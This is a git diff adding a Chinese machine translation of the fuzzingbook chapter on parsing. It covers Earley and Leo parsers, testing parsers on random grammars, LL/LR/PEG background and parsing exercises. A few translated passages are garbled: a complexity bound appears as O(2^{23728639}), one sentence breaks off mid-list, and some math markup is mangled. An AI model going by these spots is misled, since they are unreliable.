+因此，一旦设置了`nullable`，我们要做的就是在对应于非终端的状态下调用`predict`后，检查它是否为`nullable`，如果是，则前进并添加 状态到当前列。
+
+```py
+class EarleyParser(EarleyParser):
+    def __init__(self, grammar, **kwargs):
+        super().__init__(grammar, **kwargs)
+        self.cgrammar = canonical(grammar, letters=True)
+        self.epsilon = nullable(self.cgrammar)
+
+    def predict(self, col, sym, state):
+        for alt in self.cgrammar[sym]:
+            col.add(State(sym, tuple(alt), 0, col))
+        if sym in self.epsilon:
+            col.add(state.advance())
+
+```
+
+```py
+mystring = 'a'
+parser = EarleyParser(E_GRAMMAR)
+for tree in parser.parse(mystring):
+    display_tree(tree)
+
+```
+
+为了确保我们的解析器能够解析所有语法，让我们再尝试两个测试用例。
+
+```py
+DIRECTLY_SELF_REFERRING = {
+    '<start>': ['<query>'],
+    '<query>': ['select <expr> from a'],
+    "<expr>": [ "<expr>", "a"],
+}
+INDIRECTLY_SELF_REFERRING = {
+    '<start>': ['<query>'],
+    '<query>': ['select <expr> from a'],
+    "<expr>": [ "<aexpr>", "a"],
+    "<aexpr>": [ "<expr>"],
+}
+
+```
+
+```py
+mystring = 'select a from a'
+for grammar in [DIRECTLY_SELF_REFERRING, INDIRECTLY_SELF_REFERRING]:
+    trees = EarleyParser(grammar).parse(mystring)
+    for tree in trees:
+        assert mystring == tree_to_string(tree)
+        display_tree(tree)
+
+```
+
+### 更多Earley解析
+
+Earley解析器还存在许多其他优化。 具有快速工业实力的Earley解析器实现是 [Marpa解析器](https://jeffreykegler.github.io/Marpa-web-site/)。 此外，Earley解析不必限于字符数据。 也可以使用广义的Earley解析器来解析流（音频和视频流）[Qi *等人*，2018。]。
+
+## 测试解析器
+
+虽然我们定义了两个解析器变体，但最好能确认我们的解析器工作良好。 尽管可以正式证明它们有效，但生成随机语法，它们对应的字符串并使用相同的语法来解析它们，则更为令人满意。
+
+```py
+def prod_line_grammar(nonterminals, terminals):
+    g = {
+        '<start>': ['<symbols>'],
+        '<symbols>': ['<symbol><symbols>', '<symbol>'],
+        '<symbol>': ['<nonterminals>', '<terminals>'],
+        '<nonterminals>': ['<lt><alpha><gt>'],
+        '<lt>': ['<'],
+        '<gt>': ['>'],
+        '<alpha>': nonterminals,
+        '<terminals>': terminals
+    }
+
+    if not nonterminals:
+        g['<nonterminals>'] = ['']
+        del g['<lt>']
+        del g['<alpha>']
+        del g['<gt>']
+
+    return g
+
+```
+
+```py
+syntax_diagram(prod_line_grammar(["A", "B", "C"], ["1", "2", "3"]))
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 199.5 62" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">symbols</text></g></g></g></g></svg>
+
+```py
+symbols
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 290.5 92" width="290.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="95.5" y="35">symbol</text></g> <g class="non-terminal"><text x="190.75" y="35">symbols</text></g></g> <g><g class="non-terminal"><text x="145.25" y="65">symbol</text></g></g></g></g></svg>
+
+```py
+symbol
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 242.0 92" width="242.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="121.0" y="35">nonterminals</text></g></g> <g><g class="non-terminal"><text x="121.0" y="65">terminals</text></g></g></g></g></svg>
+
+```py
+nonterminals
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 296.5 62" width="296.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="78.5" y="35">lt</text></g> <g class="non-terminal"><text x="148.25" y="35">alpha</text></g> <g class="non-terminal"><text x="218.0" y="35">gt</text></g></g></g></g></svg>
+
+```py
+lt
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35"><</text></g></g></g></g></svg>
+
+```py
+gt
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">></text></g></g></g></g></svg>
+
+```py
+alpha
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 148.5 122" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">A</text></g></g> <g><g class="terminal"><text x="74.25" y="65">B</text></g></g> <g><g class="terminal"><text x="74.25" y="95">C</text></g></g></g></g></svg>
+
+```py
+terminals
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 148.5 122" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">1</text></g></g> <g><g class="terminal"><text x="74.25" y="65">2</text></g></g> <g><g class="terminal"><text x="74.25" y="95">3</text></g></g></g></g></svg>
+
+```py
+def make_rule(nonterminals, terminals, num_alts):
+    prod_grammar = prod_line_grammar(nonterminals, terminals)
+
+    gf = GrammarFuzzer(prod_grammar, min_nonterminals=3, max_nonterminals=5)
+    name = "<%s>" % ''.join(random.choices(string.ascii_uppercase, k=3))
+
+    return (name, [gf.fuzz() for _ in range(num_alts)])
+
+```
+
+```py
+make_rule(["A", "B", "C"], ["1", "2", "3"], 3)
+
+```
+
+```py
+('<KWR>', ['<A><A>', '<B>12', '<A>11'])
+
+```
+
+```py
+from [Grammars](Grammars.html) import unreachable_nonterminals
+
+```
+
+```py
+def make_grammar(num_symbols=3, num_alts=3):
+    terminals = list(string.ascii_lowercase)
+    grammar = {}
+    name = None
+    for _ in range(num_symbols):
+        nonterminals = [k[1:-1] for k in grammar.keys()]
+        name, expansions = \
+            make_rule(nonterminals, terminals, num_alts)
+        grammar[name] = expansions
+
+    grammar[START_SYMBOL] = [name]
+
+    # Remove unused parts
+    for nonterminal in unreachable_nonterminals(grammar):
+        del grammar[nonterminal]
+
+    assert is_valid_grammar(grammar)
+
+    return grammar
+
+```
+
+```py
+make_grammar()
+
+```
+
+```py
+{'<YNK>': ['oxz', 'gh', 'm'],
+ '<AGT>': ['m<YNK>fy', 'f<YNK>uv', '<YNK>aj'],
+ '<XSJ>': ['<AGT>oy', 'y<YNK>gd', '<YNK>dk'],
+ '<start>': ['<XSJ>']}
+
+```
+
+现在，我们验证Earley解析器是否可以使用我们的任意语法。
+
+```py
+for i in range(5):
+    my_grammar = make_grammar()
+    print(my_grammar)
+    parser = EarleyParser(my_grammar)
+    mygf = GrammarFuzzer(my_grammar)
+    s = mygf.fuzz()
+    print(s)
+    for tree in parser.parse(s):
+        assert tree_to_string(tree) == s
+        display_tree(tree)
+
+```
+
+```py
+{'<HIT>': ['kk', '', 'c'], '<ROZ>': ['<HIT>gy', 'nyz', '<HIT>md'], '<start>': ['<ROZ>']}
+gy
+{'<YYM>': ['t', 'dw', 'gki'], '<TZU>': ['<YYM>rx', '<YYM>uix', '<YYM>j'], '<XUG>': ['<TZU>jvj', '<YYM>s', '<YYM>d'], '<start>': ['<XUG>']}
+ts
+{'<OAK>': ['d', 't', 'g'], '<VFU>': ['<OAK>ta', '<OAK>qy', '<OAK>m<OAK>b'], '<PIQ>': ['<VFU>ic', 'p<VFU>np', '<OAK>v'], '<start>': ['<PIQ>']}
+gv
+{'<DYN>': ['c', 'ff', 'w'], '<DNQ>': ['<DYN>eoa', '<DYN><DYN>', 'beu<DYN><DYN>'], '<XYW>': ['<DNQ>o', '<DYN>rx', '<DYN>k'], '<start>': ['<XYW>']}
+wrx
+{'<JPV>': ['rxx', 'knkbb', 'aq'], '<JSE>': ['c<JPV>i', 'oh<JPV><JPV><JPV>h', '<JPV><JPV>l'], '<JLL>': ['<JSE>qo', '<JSE>wx', '<JSE>hm'], '<start>': ['<JLL>']}
+rxxaqlqo
+
+```
+
+至此，我们已经完成了*任意* CFG的实现和测试，现在可以与`LangFuzzer`一起使用以生成更好的模糊输入。
+
+## 背景
+
+存在许多解析技术，这些解析技术可以使用给定的语法来解析给定的字符串，并产生相应的一个或多个派生树。 但是，其中一些技巧仅适用于特定的语法类别。 这些语法类别以可以接受该类别语法的特定类型的解析器命名。 也就是说，解析器功能的上限定义了以该解析器命名的语法类。
+
+*LL* 和 *LR* 解析是解析的主要传统。 在此， *LL* 表示从左到右，最左边的派生，并且表示自顶向下的方法。 另一方面，LR（从左到右，最右边的推导）表示自下而上的方法。 另一种看待它的方式是，LL解析器以*前置*递增地计算派生树，而LR解析器以*后置* [Pingali *等人*，2015。]）。
+
+不同类别的语法在用户可用于编写该类别的语法的功能方面有所不同。 也就是说，相应类型的解析器将无法解析使用了超出允许范围的功能的语法。 例如，`A2_GRAMMAR`是 *LL* 语法，因为它缺少左递归，而`A1_GRAMMAR`不是 *LL* 语法。 这是因为 *LL* 解析器从左到右解析其输入，并通过扩展其遇到的非终端来构造其输入的最左派生。 如果这些规则之一中存在左递归，则 *LL* 解析器将进入无限循环。
+
+同样，如果语法可以由具有k个超前标记的LL解析器解析，则语法为LL（k），而LR（k）语法只能由具有k个超前标记的LR解析器解析。 这些语法很有趣，因为LL（k）和LR（k）语法都具有$ O（n）$解析器，并且与其他语法相比，可以在相对有限的计算预算下使用。
+
+可以提供 *LL（k）*语法的语言称为 *LL（k）*语言（其中k是所需的最小前瞻）。 类似地， *LR（k）*被定义为具有 *LR（k）*语法的语言集。 就语言而言，LL（k）$ \ subset $ LL（k + 1）和LL（k）$ \ subset $ LR（k），以及 *LR（k）* $ = $ *LR（1）*。 所有确定性 *CFL* 都具有 *LR（1）*语法。 但是，存在 *CFL* 本质上是模棱两可的[Ogden *等人*，1968。]，因此，这些人无法提供 *LR（1）* 语法。
+
+*CFG* 的其他主要解析算法是GLL [Scott *等*，2010。]，GLR [Tomita *等*，1987。，富田*等）。* ，2012。]和CYK [Grune *等，*，2008。]。 另一方面，ALL（*）（由ANTLR使用）是一种语法表示形式，它像谓词一样使用*正则表达式*（类似于高级PEG –请参阅[练习](#Exercise-3:-PEG-Predicates)），而不是固定的先行 。 因此，与CFG相比，ALL（*）可以接受更大类别的语法。
+
+就解析的计算限制而言，主CFG解析器的任意语法的复杂度为$ O（n ^ 3）$。 但是，使用任意 *CFG* 进行解析可简化为布尔矩阵乘法[ [Valiant *等人*，1975年。](https://doi.org/10.1016/S0022-0000(75)80046-8)]（反之则是[ [Lee *等*，2002。](https://doi.org/10.1145/505241.505242)]。 目前，这受$ O（2 ^ {23728639} $）的限制[ [Le Gall *等人*，2014。](https://doi.org/10.1145/2608628.2608664)]。 因此，更糟的情况是，解析任意CFG的复杂度可能接近三次。
+
+关于PEG， *PEG* 中可表达的实际语言类别目前未知。 特别地，我们知道 *PEG* 可以表达某些语言，例如$ a ^ n b ^ n c ^ n $。 但是，我们不知道是否存在 *CFL* 与 *PEG* 无法表达。 在第2.3节中，我们提供了一个违反直觉的PEG语法实例。 尽管对于我们的目的很重要（我们使用语法来生成输入），但这并不是对PEG解析的批评。 PEG专注于编写用于识别给定语言的语法，而不一定要解释任意PEG可能产生的语言。 给定要解析的上下文无关语言，几乎总是可以在PEG中为其编写语法，并且鉴于1）PEG可以在$ O（n）$时间内解析任何字符串，以及2）目前我们知道 （3）与 *LR* 语法相比，PEG通常更直观，因为当编写语言解析器PEG时，它可以自上而下地解释 应该认真考虑。
+
+## 经验教训
+
+*   语法可以用于生成给定字符串的派生树。
+*   解析表达式文法很直观，易于实现，但在编写时需要格外小心。
+*   Earley解析器可以解析任意上下文无关文法。
+
+## 后续步骤
+
+*   使用已解析的输入来[重新组合现有输入](LangFuzzer.html)
+
+## 练习
+
+### 练习1：替代Packrat
+
+在 *Packrat* 解析器中，我们展示了如何实现简单的 *PEG* 解析器。 该解析器使用索引来跟踪文本中的当前位置。 您可以修改解析器，使其仅使用当前子字符串而不跟踪索引吗？ 即，它不再应具有`at`参数。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+**解决方案。** 这是一个可能的解决方案：
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：更多PEG语法
+
+*PEG* 语法提供了一些符号上的便利，使人想起了正则表达式。 例如，它支持以下运算符（字母`T`和`A`表示可以是终端或非终端的令牌。`ε`是一个空字符串，而`/`是与无序类似的有序选择运算符 选择运算符`|`）：
+
+*   `T?`表示T的可选贪婪匹配，`A := T?`等效于`A := T/ε`。
+*   `T*`表示`T`的零个或多个贪婪匹配，并且`A := T*`等于`A := T A/ε`。
+*   `T+`代表一个或多个贪婪匹配-等同于`TT*`
+
+如果您查看上面的三种表示法，则每种表示法都可以用基本语法表示在语法中。 还记得[中有关语法](Grammars.html)的一章的练习，该章开发了`define_ex_grammar()`可以将语法表示为Python代码吗？ 将`define_ex_grammar()`扩展到`define_peg()`以支持上述符号上的便利。 装饰器应将包含这些符号的给定语法重写为基本语法中的等效语法。
+
+### 练习3：PEG谓词
+
+除了这些符号上的便利之外，它还支持两个谓词，这些谓词可以提供强大的超前功能，而不会消耗任何输入。
+
+*   如果匹配`T`，则`T&A`表示与`T`匹配的*和谓词*，紧随其后的是`A`
+*   如果匹配`T`，则`T!A`表示与`T`匹配的*非谓词*，并且紧随其后是`A`的是*而不是*。
+
+在我们的 *PEG* 解析器中实现这些谓词。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习4：Earley填充图
+
+在`Earley Parser`和`Column`类中，即使订购了`dict`，我们也将状态既保持为`list`，也保持为`dict`。 你能解释为什么吗？
+
+**提示**：请参见`fill_chart`方法。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习5：Leo Parser
+
+最初的Earley解析器的问题之一是，尽管它可以使用任意*上下文自由语法*解析字符串，但其在右递归语法上的性能是二次的。 也就是说，它需要$ O（n ^ 2）$运行时间和空间来解析右递归语法。 例如，考虑通过两个不同的语法`LR_GRAMMAR`和`RR_GRAMMAR`解析以下字符串。
+
+```py
+mystring = 'aaaaaa'
+
+```
+
+要查看该问题，我们需要启用日志记录。 这是使用`LR_GRAMMAR`进行解析的记录版本
+
+```py
+result = EarleyParser(LR_GRAMMAR, log=True).parse(mystring)
+for _ in result: pass # consume the generator so that we can see the logs
+
+```
+
+```py
+None chart[0]
+<A>:= |(0,0)
+<start>:= <A> |(0,0) 
+
+a chart[1]
+<A>:= <A> a |(0,1)
+<start>:= <A> |(0,1) 
+
+a chart[2]
+<A>:= <A> a |(0,2)
+<start>:= <A> |(0,2) 
+
+a chart[3]
+<A>:= <A> a |(0,3)
+<start>:= <A> |(0,3) 
+
+a chart[4]
+<A>:= <A> a |(0,4)
+<start>:= <A> |(0,4) 
+
+a chart[5]
+<A>:= <A> a |(0,5)
+<start>:= <A> |(0,5) 
+
+a chart[6]
+<A>:= <A> a |(0,6)
+<start>:= <A> |(0,6) 
+
+```
+
+将其与`RR_GRAMMAR`的解析进行比较，如下所示：
+
+```py
+result = EarleyParser(RR_GRAMMAR, log=True).parse(mystring)
+for _ in result: pass
+
+```
+
+```py
+None chart[0]
+<A>:= |(0,0)
+<start>:= <A> |(0,0) 
+
+a chart[1]
+<A>:= |(1,1)
+<A>:= a <A> |(0,1)
+<start>:= <A> |(0,1) 
+
+a chart[2]
+<A>:= |(2,2)
+<A>:= a <A> |(1,2)
+<A>:= a <A> |(0,2)
+<start>:= <A> |(0,2) 
+
+a chart[3]
+<A>:= |(3,3)
+<A>:= a <A> |(2,3)
+<A>:= a <A> |(1,3)
+<A>:= a <A> |(0,3)
+<start>:= <A> |(0,3) 
+
+a chart[4]
+<A>:= |(4,4)
+<A>:= a <A> |(3,4)
+<A>:= a <A> |(2,4)
+<A>:= a <A> |(1,4)
+<A>:= a <A> |(0,4)
+<start>:= <A> |(0,4) 
+
+a chart[5]
+<A>:= |(5,5)
+<A>:= a <A> |(4,5)
+<A>:= a <A> |(3,5)
+<A>:= a <A> |(2,5)
+<A>:= a <A> |(1,5)
+<A>:= a <A> |(0,5)
+<start>:= <A> |(0,5) 
+
+a chart[6]
+<A>:= |(6,6)
+<A>:= a <A> |(5,6)
+<A>:= a <A> |(4,6)
+<A>:= a <A> |(3,6)
+<A>:= a <A> |(2,6)
+<A>:= a <A> |(1,6)
+<A>:= a <A> |(0,6)
+<start>:= <A> |(0,6) 
+
+```
+
+从每个字母的分析日志中可以看出，表示为`<A>: a <A> ● (i, j)`的状态的数量在每个阶段都增加，而这些仅仅是前一个字母的剩余。 除了简单地完成这些条目之外，它们对解析没有任何贡献。 但是，它们占用空间，并且需要检查资源，因此在分析中贡献了`n`因子。
+
+Joop Leo [ [Joop M.I.M. Leo，1991年。](https://doi.org/https://doi.org/10.1016/0304-3975(91)90180-A)发现，通过检测右递归可以避免这种低效率。 这个想法是，在开始`completion`步骤之前，检查当前项目是否具有*确定性还原路径*。 如果存在这样的路径，则将*确定性还原路径*的最顶层元素的副本添加到当前列，然后返回。 如果不是，请执行原始的`completion`步骤。
+
+**定义2.1** ：如果某项在$ [B \ rightarrow \ alpha A。，k] $之上，则认为该项目在$ [A \ rightarrow \ gamma。，i] $上方的确定性归约路径上 $ [B \ rightarrow \ alpha。 A，k] $是$ I_i $中唯一一个点在A前面的项目，或者如果它在$ [B \ rightarrow \ alpha A。，k] $以上的确定性归约路径上。 如果确定路径上的确定性归约路径上没有项目，则该路径上的项目称为*最顶部*。 [Joop M.I.M. Leo，1991。](https://doi.org/https://doi.org/10.1016/0304-3975(91)90180-A)。
+
+找到*确定性还原路径*如下：
+
+给定一个完整的状态，以`<A> : seq_1 ● (s, e)`表示，其中`s`是该规则的起始列，`e`当前列，则在上方有一个*确定性还原路径* **如果满足两个约束。**
+
+1.  在`s`列中以`<B> : seq_2 ● <A> (k, s)`的形式存在*单个*项目。
+2.  那应该是s中的*单个*项目，在`<A>`前面加点
+
+生成的项目的格式为`<B> : seq_2 <A> ● (k, e)`，它只是来自（1）的高级项目，在确定性约简路径中被视为`<A>:.. (s, e)`以上。 `seq_1`和`seq_2`是任意符号序列。
+
+这形成以下链接链，其中`<A>:.. (s_1, e)`是`<B>:.. (s_2, e)`等的子级。
+
+这是可视化链的一种方法：
+
+```py
+<C> : seq_3 <B> ● (s_3, e)  
+             |  constraints satisfied by <C> : seq_3 ● <B> (s_3, s_2)
+            <B> : seq_2 <A> ● (s_2, e)  
+                         | constraints satisfied by <B> : seq_2 ● <A> (s_2, s_1)
+                        <A> : seq_1 ● (s_1, e)
+```
+
+本质上，我们要做的是确定潜在的确定性权利递归候选者，对其进行补充，然后*丢弃结果*。 我们这样做直到到达最高点。 参见Grune等人[Grune *等人*，2008。]以获取更多信息。
+
+请注意，完成项位于同一列（`e`）中，每个候选对象的约束都在越来越多的早期列中得到满足（如下所示）：
+
+```py
+<C> : seq_3 ● <B> (s_3, s_2)  -->              <C> : seq_3 <B> ● (s_3, e)
+               |
+              <B> : seq_2 ● <A> (s_2, s_1) --> <B> : seq_2 <A> ● (s_2, e)  
+                             |
+                            <A> : seq_1 ●                        (s_1, e)
+```
+
+在此链之后，最顶层的项是没有父项的项`<C>:.. (s_3, e)`。 需要保存的最上面的项目被Leo称为*可传递的*项目，并且与开始查找的非终端符号相关联。 需要将传递项目添加到我们检查的每个列中。
+
+这是解析器`LeoParser`的框架。
+
+```py
+class LeoParser(EarleyParser):
+    def complete(self, col, state):
+        return self.leo_complete(col, state)
+
+    def leo_complete(self, col, state):
+        detred = self.deterministic_reduction(state)
+        if detred:
+            col.add(detred.copy())
+        else:
+            self.earley_complete(col, state)
+
+    def deterministic_reduction(self, state):
+        raise NotImplemented()
+
+```
+
+您可以实现`deterministic_reduction()`方法来获取最高元素吗？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+**Solution.** Here is a possible solution:
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+**进阶：**我们更正了复杂度界限。 但是，由于我们只保存了正确递归的最顶层项，因此我们需要修复解析器，以在提取解析树时了解我们的修复。 你能修好它吗？
+
+**提示：** Leo建议将Leo项目集简单转换为普通Earley集，而确定性约简的结果将扩展到其原始结果。 为此，请记住我们之前绘制的约束链图。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+**解决方案。** 这是一个可能的解决方案。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习6：过滤的Earley分析器
+
+我们的Earley和Leo解析器的问题之一是，当使用替代中包含令牌重复的语法进行解析时，它可能陷入无限循环。 例如，考虑下面的语法。
+
+```py
+RECURSION_GRAMMAR = {
+    "<start>": ["<A>"],
+    "<A>": ["<A>", "<A>aa", "AA", "<B>"],
+    "<B>": ["<C>", "<C>cc" ,"CC"],
+    "<C>": ["<B>", "<B>bb", "BB"]
+}
+
+```
+
+使用这种语法，可以产生`<A>`的无限导数链（直接递归）或`<B> -> <C> -> <B> ...`的无限导数链（间接递归）。 问题在于，我们的实现可能会陷入尝试推导这些无限链之一的过程。
+
+```py
+from [ExpectError](ExpectError.html) import ExpectTimeout
+
+```
+
+```py
+with ExpectTimeout(1, print_traceback=False):
+    mystring = 'AA'
+    parser = LeoParser(RECURSION_GRAMMAR)
+    tree, *_ = parser.parse(mystring)
+    assert tree_to_string(tree) == mystring
+    display_tree(tree)
+
+```
+
+```py
+TimeoutError (expected)
+
+```
+
+您是否可以实施一种解决方案，以便丢弃包含此类链的任何树？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+**Solution.** Here is a possible solution.
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习7：迭代Earley解析器
+
+在某些情况下，递归算法非常方便，但有时由于内存或速度问题，我们可能需要迭代而不是递归。
+
+您可以实现`EarleyParser`的迭代版本吗？
+
+**提示：**通常，您可以使用堆栈将迭代算法替换为递归算法。 一种简单的方法是将参数压入堆栈，而不是将其传递给递归函数。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+**Solution.** Here is a possible solution.
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习8：第一组非终结符
+
+先前，我们提供了一种提取`nullable`（ε）集合的方法，该集合通常用于解析。 与`nullable`一起，解析算法通常使用另外两个集合 [`first`和`follow`](https://en.wikipedia.org/wiki/Canonical_LR_parser#FIRST_and_FOLLOW_sets) 。 终端符号的第一集合是其本身，非终端的第一集合由可以在该非终端的任何派生的开始出现的终端符号组成。 可以派生空字符串的任何非终结符的第一组应包含`EPSILON`。 例如，使用我们的`A1_GRAMMAR`，`<expr>`和`<start>`的第一组都是`{0,1,2,3,4,5,6,7,8,9}`。 任何自递归非终结符的提取第一集都非常简单。 只需简单地递归计算其选择表达式的第一个元素的第一组即可。 为自递归非终结符设置`first`的计算非常棘手。 必须递归计算第一个集合，直到确定没有更多终端可以添加到第一个集合。
+
+您可以使用我们的`fixpoint()`装饰器实现`first`集吗？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习9：遵循非终结符[的集合](#Exercise-9:-Follow-Set-of-a-Nonterminal)
+
+跟随集合的定义与第一个集合相似。 非终结符的后续集合是在任何派生中使用该非终结符之后可能发生的终结符集合。 起始符号的跟随集是`EOF`，任何非终止符的跟随集是在任何选择表达式中之后的所有符号的第一组的超集。
+
+例如，`A1_GRAMMAR`中的`<expr>`的跟随集合是集合`{EOF, +, -}`。
+
+与上一练习中一样，使用`fixpoint()`装饰器实现`followset()`。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习10：一个LL（1）解析器-Parser)
+
+如我们前面提到的，存在其他种类的解析器，它们以最右导数（ *LR（k）*）从左到右操作，或者以最左导数（ *LL（ k）*）与 *k* 表示允许解析器使用的超前量。
+
+先行者应该怎么做？ 该前瞻可用于确定要应用的规则。 对于 *LL（1）*解析器，要应用的规则是通过查看不同规则的第一个*第一个*集来确定的。 我们之前实现了`first_expr()`，它接受一个表达式，即`nullables`的集合，并计算该规则的第一组。
+
+如果一个规则可以导出一个空集，则该规则也可以适用，如果看到相应非终结符的`follow()`集。
+
+#### 第1部分：LL（1）解析表-Parsing-Table)
+
+本练习的第一部分是实现*解析表*，该表描述了 *LL（1）*解析器在提前看清终端符号时应采取的措施。 该表应采用*字典*的形式，以使键表示非终结符，并且该值应包含另一个以键为终结符的字典，并包含特定规则以继续解析为值。
+
+让我们用一个例子来说明这个表。 `parse_table()`方法填充应符合以下要求的`self.table`数据结构：
+
+```py
+class LL1Parser(Parser):
+    def parse_table(self):
+        self.my_rules = rules(self.cgrammar)
+        self.table = ...          # fill in here to produce
+
+    def rules(self):
+        for i, rule in enumerate(self.my_rules):
+            print(i, rule)
+
+    def show_table(self):
+        ts = list(sorted(terminals(self.cgrammar)))
+        print('Rule Name\t| %s' % ' | '.join(t for t in ts))
+        for k in self.table:
+            pr = self.table[k]
+            actions = list(str(pr[t]) if t in pr else ' ' for t in ts)
+            print('%s  \t| %s' % (k, ' | '.join(actions)))
+
+```
+
+调用`LL1Parser(A2_GRAMMAR).show_table()`时，应显示在下表中：
+
+```py
+for i, r in enumerate(rules(canonical(A2_GRAMMAR))):
+    print("%d\t  %s := %s" % (i, r[0], r[1]))
+
+```
+
+```py
+0	 <start> := ['<expr>']
+1	 <expr> := ['<integer>', '<expr_>']
+2	 <expr_> := ['+', '<expr>']
+3	 <expr_> := ['-', '<expr>']
+4	 <expr_> := []
+5	 <integer> := ['<digit>', '<integer_>']
+6	 <integer_> := ['<integer>']
+7	 <integer_> := []
+8	 <digit> := ['0']
+9	 <digit> := ['1']
+10	 <digit> := ['2']
+11	 <digit> := ['3']
+12	 <digit> := ['4']
+13	 <digit> := ['5']
+14	 <digit> := ['6']
+15	 <digit> := ['7']
+16	 <digit> := ['8']
+17	 <digit> := ['9']
+
+```
+
+| 规则名称 |  | + | - | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
+| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
+| 开始 |  |  |  | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
+| EXPR |  |  |  | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
+| expr_ |  | 2 | 3 |  |  |  |  |  |  |  |  |  |  |
+| 整数 |  |  |  | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 | 5 |
+| 整数_ |  | 7 | 7 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 | 6 |
+| 数字 |  |  |  | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：解析器
+
+获得解析表后，将执行以下解析器：考虑要分析的标记序列中的第一项，并使用起始符号为堆栈添加种子。
+
+当堆栈不为空时，请从堆栈中提取第一个符号，如果该符号是终端，请验证该符号是否与输入流中的项匹配。 如果符号是非终结符，请使用符号和输入项从解析表中查找下一个规则。 将找到的规则插入堆栈的顶部。 跟踪要分析以构建分析表的表达式。
+
+使用先前定义的解析表来实现完整的LL（1）解析器。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
+
+**解决方案。** 这是完整的解析器：
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Parser.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/19.md b/new/fuzzing-book-zh/19.md
new file mode 100644
index 0000000000000000000000000000000000000000..ec11f150399c1d359d7144cde1754d1c6236cb22
--- /dev/null
+++ b/new/fuzzing-book-zh/19.md
@@ -0,0 +1,1798 @@
+# 概率语法模糊化
+
+> 原文： [https://www.fuzzingbook.org/html/ProbabilisticGrammarFuzzer.html](https://www.fuzzingbook.org/html/ProbabilisticGrammarFuzzer.html)
+
